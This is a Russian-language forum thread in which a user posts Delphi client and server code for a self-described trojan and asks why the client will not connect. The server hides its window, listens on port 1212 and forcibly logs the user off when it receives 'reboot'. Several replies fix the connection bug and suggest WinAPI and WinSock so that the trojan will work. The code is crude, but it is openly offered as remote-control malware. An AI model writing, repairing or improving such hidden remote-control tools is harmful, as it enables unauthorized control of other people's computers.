![]() |
Троян на Delphi
Я попробовал написать трой на Дельфи и уменя одна проблема:я испытовал трой на себе: включил сервер запускаю клиент ввожу свой внешний IP и он мне говорит 'No address specified' может это из-за порта? Вот код клиента:
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Sockets, ScktComp; type TForm1 = class(TForm) Button1: TButton; RadioButton1: TRadioButton; RadioButton2: TRadioButton; RadioButton3: TRadioButton; Edit1: TEdit; ClientSocket1: TClientSocket; procedure Button1Click(Sender: TObject); procedure TcpClient1Connect(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin ClientSocket1.Active:=True; ClientSocket1.Address:=Edit1.Text; ClientSocket1.Port:=1212; end; procedure TForm1.TcpClient1Connect(Sender: TObject); begin If RadioButton1.Checked then ClientSocket1.Socket.SendText('reboot'); If RadioButton2.Checked then ClientSocket1.Socket.SendText('vkl'); If RadioButton3.Checked then ClientSocket1.Socket.SendText('vykl'); end; end. А вот сервера: nit Unit2; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp; type TForm1 = class(TForm) ServerSocket1: TServerSocket; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure FormPaint(Sender: TObject); procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin ServerSocket1.Active:=True; ServerSocket1.Port:=1212; end; procedure TForm1.FormDestroy(Sender: TObject); begin ServerSocket1.Active:=False; end; procedure TForm1.FormPaint(Sender: TObject); begin hide; end; procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var s:string; begin s:=Socket.ReceiveText; If s='reboot' then ExitWindowsEX(ewx_logoff, ewx_force); end; end. |
Сначала адрес и порт, а потом уже открываешь.
З.Ы. А лучше юзай Win API (можно KOL, рулезная весчь) + WinSock. А то троян не получится =) |
Если тестишь на одной машине, то не надо вводить внешний ip. Локальный надо 127.0.0.1
|
Повторяю.
Код:
ServerSocket1.Active:=True; |
Цитата:
Цитата:
а с клиентом не то же самое? |
Ну конечно. Ато хз к чему конектиться будет
|
Народ не тупой. просто навреное рано берется за сложные вещи.
Или не до конца понимает принципа работы. |
Опа! круто вот с этого кода и начну изучать дельфи , а еще летом книжеки почитаю! Спасибо
|
| Время: 04:06 |